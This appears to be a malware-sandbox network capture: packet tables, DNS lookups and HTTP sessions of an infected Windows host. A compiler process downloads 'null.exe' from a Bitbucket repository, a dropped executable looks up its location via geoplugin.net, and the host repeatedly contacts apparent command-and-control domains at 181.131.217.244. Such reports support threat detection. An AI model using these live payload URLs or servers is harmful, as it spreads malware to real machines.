                                                                                                                          Dec 12, 2024 17:39:39.563822985 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.569097996 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.569113016 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.569175005 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.569183111 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.569459915 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.575042963 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.575064898 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.575119972 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.575129986 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.575149059 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.575169086 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.581154108 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.581168890 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.581227064 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.581232071 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.581267118 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.586499929 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.586513996 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.586584091 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.586587906 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.586621046 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.593291044 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.593307018 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.593355894 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.593359947 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.593393087 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.598335028 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.598355055 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.598422050 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.598427057 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.598454952 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.749943972 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.749972105 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.750031948 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.750060081 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.750075102 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.750144005 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.755497932 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.755515099 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.755583048 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.755611897 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.755697966 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.757415056 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.757494926 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.757504940 CET4434977054.231.193.17192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:39.757671118 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:39.757908106 CET49770443192.168.2.754.231.193.17
                                                                                                                          Dec 12, 2024 17:39:42.351613998 CET4979630203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:42.471643925 CET3020349796181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:42.471726894 CET4979630203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:42.478749990 CET4979630203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:42.598453999 CET3020349796181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:42.598632097 CET4979630203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:42.718486071 CET3020349796181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:43.830913067 CET3020349796181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:43.831029892 CET4979630203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:43.837435007 CET4979630203192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:39:43.957259893 CET3020349796181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:06.409022093 CET498511842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:06.528692007 CET184249851181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:06.528774023 CET498511842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:06.529887915 CET498511842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:06.649589062 CET184249851181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:16.542752981 CET184249851181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:16.544992924 CET498511842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:16.545044899 CET498511842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:16.664727926 CET184249851181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:17.559484959 CET498761842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:17.679550886 CET184249876181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:17.679724932 CET498761842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:17.719003916 CET498761842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:17.838922977 CET184249876181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:20.085067034 CET184249876181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:20.085127115 CET498761842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:20.085195065 CET498761842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:20.204997063 CET184249876181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:21.089349031 CET498831842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:21.209232092 CET184249883181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:21.209337950 CET498831842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:21.209783077 CET498831842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:21.329788923 CET184249883181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:25.809042931 CET184249883181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:25.813107967 CET498831842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:25.816104889 CET498831842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:25.936496019 CET184249883181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:26.853673935 CET498991842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:26.973809958 CET184249899181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:26.974145889 CET498991842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:26.974690914 CET498991842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:27.095662117 CET184249899181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:34.613065004 CET184249899181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:34.614157915 CET498991842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:34.614264965 CET498991842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:34.734071016 CET184249899181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:35.618581057 CET499191842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:35.738609076 CET184249919181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:35.739322901 CET499191842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:35.739866972 CET499191842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:35.860636950 CET184249919181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:37.944951057 CET184249919181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:37.945115089 CET499191842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:37.945153952 CET499191842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:38.065479040 CET184249919181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:38.964440107 CET499291842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:39.087927103 CET184249929181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:39.089013100 CET499291842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:39.089013100 CET499291842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:39.210627079 CET184249929181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:49.095597982 CET184249929181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:49.095710993 CET499291842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:49.095784903 CET499291842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:49.215693951 CET184249929181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:50.125607967 CET499551842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:50.245497942 CET184249955181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:50.245620012 CET499551842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:50.246375084 CET499551842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:50.366307974 CET184249955181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:51.523613930 CET184249955181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:51.525521994 CET499551842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:51.645348072 CET184249955181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:51.758394957 CET184249955181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:51.804692984 CET499551842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:52.365408897 CET4996280192.168.2.7178.237.33.50
                                                                                                                          Dec 12, 2024 17:40:52.485269070 CET8049962178.237.33.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:52.489165068 CET4996280192.168.2.7178.237.33.50
                                                                                                                          Dec 12, 2024 17:40:52.489350080 CET4996280192.168.2.7178.237.33.50
                                                                                                                          Dec 12, 2024 17:40:52.609231949 CET8049962178.237.33.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:53.735573053 CET8049962178.237.33.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:53.735774994 CET4996280192.168.2.7178.237.33.50
                                                                                                                          Dec 12, 2024 17:40:53.813234091 CET499551842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:40:53.933167934 CET184249955181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:54.729554892 CET8049962178.237.33.50192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:54.729850054 CET4996280192.168.2.7178.237.33.50
                                                                                                                          Dec 12, 2024 17:41:19.663065910 CET184249955181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:41:19.665033102 CET499551842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:41:19.784857988 CET184249955181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:41:49.759320021 CET184249955181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:41:49.760621071 CET499551842192.168.2.7181.131.217.244
                                                                                                                          Dec 12, 2024 17:41:49.880604029 CET184249955181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:42:20.030867100 CET184249955181.131.217.244192.168.2.7
                                                                                                                          Dec 12, 2024 17:42:20.086258888 CET499551842192.168.2.7181.131.217.244

                                                                                                                          UDP Packets

                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                          Dec 12, 2024 17:39:26.197180986 CET5805553192.168.2.71.1.1.1
                                                                                                                          Dec 12, 2024 17:39:26.337438107 CET53580551.1.1.1192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:28.342310905 CET5671253192.168.2.71.1.1.1
                                                                                                                          Dec 12, 2024 17:39:28.480269909 CET53567121.1.1.1192.168.2.7
                                                                                                                          Dec 12, 2024 17:39:31.146163940 CET5438953192.168.2.71.1.1.1
                                                                                                                          Dec 12, 2024 17:39:31.443614006 CET53543891.1.1.1192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:06.176707983 CET6466753192.168.2.71.1.1.1
                                                                                                                          Dec 12, 2024 17:40:06.404251099 CET53646671.1.1.1192.168.2.7
                                                                                                                          Dec 12, 2024 17:40:52.217497110 CET4937753192.168.2.71.1.1.1
                                                                                                                          Dec 12, 2024 17:40:52.355602980 CET53493771.1.1.1192.168.2.7

                                                                                                                          DNS Queries

                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                          Dec 12, 2024 17:39:26.197180986 CET192.168.2.71.1.1.10xe4eaStandard query (0)navegacionseguracol24vip.orgA (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:28.342310905 CET192.168.2.71.1.1.10x733Standard query (0)bitbucket.orgA (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:31.146163940 CET192.168.2.71.1.1.10x3d7cStandard query (0)bbuseruploads.s3.amazonaws.comA (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:40:06.176707983 CET192.168.2.71.1.1.10x49afStandard query (0)newstaticfreepoint24.ddns-ip.netA (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:40:52.217497110 CET192.168.2.71.1.1.10x2b8eStandard query (0)geoplugin.netA (IP address)IN (0x0001)false

                                                                                                                          DNS Answers

                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                          Dec 12, 2024 17:38:55.655136108 CET1.1.1.1192.168.2.70x48d3No error (0)time.windows.comtwc.trafficmanager.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:38:57.975920916 CET1.1.1.1192.168.2.70xd75cNo error (0)shed.dual-low.s-part-0035.t-0009.t-msedge.nets-part-0035.t-0009.t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:38:57.975920916 CET1.1.1.1192.168.2.70xd75cNo error (0)s-part-0035.t-0009.t-msedge.net13.107.246.63A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:26.337438107 CET1.1.1.1192.168.2.70xe4eaNo error (0)navegacionseguracol24vip.org181.131.217.244A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:28.480269909 CET1.1.1.1192.168.2.70x733No error (0)bitbucket.org185.166.143.50A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:28.480269909 CET1.1.1.1192.168.2.70x733No error (0)bitbucket.org185.166.143.49A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:28.480269909 CET1.1.1.1192.168.2.70x733No error (0)bitbucket.org185.166.143.48A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:31.443614006 CET1.1.1.1192.168.2.70x3d7cNo error (0)bbuseruploads.s3.amazonaws.coms3-1-w.amazonaws.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:31.443614006 CET1.1.1.1192.168.2.70x3d7cNo error (0)s3-1-w.amazonaws.coms3-w.us-east-1.amazonaws.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:31.443614006 CET1.1.1.1192.168.2.70x3d7cNo error (0)s3-w.us-east-1.amazonaws.com54.231.193.17A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:31.443614006 CET1.1.1.1192.168.2.70x3d7cNo error (0)s3-w.us-east-1.amazonaws.com52.216.49.201A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:31.443614006 CET1.1.1.1192.168.2.70x3d7cNo error (0)s3-w.us-east-1.amazonaws.com3.5.28.135A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:31.443614006 CET1.1.1.1192.168.2.70x3d7cNo error (0)s3-w.us-east-1.amazonaws.com54.231.136.233A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:31.443614006 CET1.1.1.1192.168.2.70x3d7cNo error (0)s3-w.us-east-1.amazonaws.com52.216.215.105A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:31.443614006 CET1.1.1.1192.168.2.70x3d7cNo error (0)s3-w.us-east-1.amazonaws.com3.5.1.2A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:31.443614006 CET1.1.1.1192.168.2.70x3d7cNo error (0)s3-w.us-east-1.amazonaws.com3.5.25.250A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:39:31.443614006 CET1.1.1.1192.168.2.70x3d7cNo error (0)s3-w.us-east-1.amazonaws.com16.15.184.230A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:40:06.404251099 CET1.1.1.1192.168.2.70x49afNo error (0)newstaticfreepoint24.ddns-ip.net181.131.217.244A (IP address)IN (0x0001)false
                                                                                                                          Dec 12, 2024 17:40:52.355602980 CET1.1.1.1192.168.2.70x2b8eNo error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false

                                                                                                                          HTTP Request Dependency Graph

                                                                                                                          • bitbucket.org
                                                                                                                          • bbuseruploads.s3.amazonaws.com
                                                                                                                          • geoplugin.net

                                                                                                                          HTTP Packets

                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                          0192.168.2.749962178.237.33.50808076C:\Users\user\AppData\Local\Temp\dzocgvabs.exe
                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                          Dec 12, 2024 17:40:52.489350080 CET71OUTGET /json.gp HTTP/1.1
                                                                                                                          Host: geoplugin.net
                                                                                                                          Cache-Control: no-cache
                                                                                                                          Dec 12, 2024 17:40:53.735573053 CET1171INHTTP/1.1 200 OK
                                                                                                                          date: Thu, 12 Dec 2024 16:40:53 GMT
                                                                                                                          server: Apache
                                                                                                                          content-length: 963
                                                                                                                          content-type: application/json; charset=utf-8
                                                                                                                          cache-control: public, max-age=300
                                                                                                                          access-control-allow-origin: *
                                                                                                                          Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 [TRUNCATED]
                                                                                                                          Data Ascii: { "geoplugin_request":"8.46.123.189", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7503", "geoplugin_longitude":"-74.0014", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                                                                                                                          HTTPS Proxied Packets

                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                          0192.168.2.749764185.166.143.504437716C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                          2024-12-12 16:39:30 UTC101OUTGET /facturacioncol/fact/downloads/null.exe HTTP/1.1
                                                                                                                          Host: bitbucket.org
                                                                                                                          Connection: Keep-Alive
                                                                                                                          2024-12-12 16:39:30 UTC5939INHTTP/1.1 302 Found
                                                                                                                          Date: Thu, 12 Dec 2024 16:39:30 GMT
                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                          Content-Length: 0
                                                                                                                          Server: AtlassianEdge
                                                                                                                          Location: https://bbuseruploads.s3.amazonaws.com/986cb0ac-5fcf-4393-afaa-e2b223260ae9/downloads/47e1d263-9601-40cc-a367-13b7035db3ac/null.exe?response-content-disposition=attachment%3B%20filename%3D%22null.exe%22&AWSAccessKeyId=ASIA6KOSE3BNIK3V4DGT&Signature=CeSXCizIndXdpo0hNVhQNHPO6YE%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEAkaCXVzLWVhc3QtMSJGMEQCIAiR1Rr4gukDYzqDqe6VyCYznX6djf6omD53N9z5eXxNAiAOa4oQ0hLIqn6hHaGwFLs9dy9CGpADmC9r%2BgzzvYixzCqwAgjC%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIMdLt8wvGnGxpQ3VhgKoQCe8wqaRBxnVnGmgCUhs6TWySAMRXKxScrbgQIw1l5TliYWycjvfrdQ9KAUuNMU%2FwhakGHoE0SFuTSYhrM1G9PRALReQarQNdwzYN63jorLJ4YWbF3XMNkCEIyc7ndfWAWAsw%2FfjWHG0%2BHTpx6RPw%2FIQG57%2Fn5zg5wiHWoPYYes5WgRI5TNywnrgMzT2HeQqLoN3qnaIg%2BAtnkqDKS5EY2FY6PH72PmOl7UVqeyAnEuwwblKQlwD8%2FDNIruRgkrhDndJwiNI%2Fjj%2Fbmpx1PYlG3DYXUkX3nG9qpqdlp9qaxg66RItC8i7CuMgnCQGyIpd9Ne8xvpXMpMHF7fcuhoxTOVxRBVHQwsaPsugY6ngFGmq3npFGM4oH6YpgZGTfIpeNNKlZdAXKSvIsR6TfEz3KZeh4E29gHAGlbMUmtWcvwuflus8R05%2FCWtxLjrJB20TKCSAJ0mZ7ha8acTW5DNuxqW4A6JSpacup [TRUNCATED]
                                                                                                                          Expires: Thu, 12 Dec 2024 16:39:30 GMT
                                                                                                                          Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private
                                                                                                                          X-Used-Mesh: False
                                                                                                                          Vary: Accept-Language, Origin
                                                                                                                          Content-Language: en
                                                                                                                          X-View-Name: bitbucket.apps.downloads.views.download_file
                                                                                                                          X-Dc-Location: Micros-3
                                                                                                                          X-Served-By: 9481e945e625
                                                                                                                          X-Version: b7875da02c7c
                                                                                                                          X-Static-Version: b7875da02c7c
                                                                                                                          X-Request-Count: 644
                                                                                                                          X-Render-Time: 0.045706987380981445
                                                                                                                          X-B3-Traceid: 4f83c2f4a48840c6a386875c079b643f
                                                                                                                          X-B3-Spanid: 08c0a4859afd47a9
                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                          Content-Security-Policy: connect-src bitbucket.org *.bitbucket.org bb-inf.net *.bb-inf.net atlassianblog.wpengine.com id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io *.ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config- [TRUNCATED]
                                                                                                                          X-Usage-Quota-Remaining: 999144.891
                                                                                                                          X-Usage-Request-Cost: 868.97
                                                                                                                          X-Usage-User-Time: 0.023197
                                                                                                                          X-Usage-System-Time: 0.002872
                                                                                                                          X-Usage-Input-Ops: 0
                                                                                                                          X-Usage-Output-Ops: 0
                                                                                                                          Age: 0
                                                                                                                          X-Cache: MISS
                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                          X-Xss-Protection: 1; mode=block
                                                                                                                          Atl-Traceid: 4f83c2f4a48840c6a386875c079b643f
                                                                                                                          Atl-Request-Id: 4f83c2f4-a488-40c6-a386-875c079b643f
                                                                                                                          Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
                                                                                                                          Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600}
                                                                                                                          Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"}
                                                                                                                          Server-Timing: atl-edge;dur=156,atl-edge-internal;dur=3,atl-edge-upstream;dur=154,atl-edge-pop;desc="aws-eu-central-1"
                                                                                                                          Connection: close


                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                          1192.168.2.74977054.231.193.174437716C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                          TimestampBytes transferredDirectionData
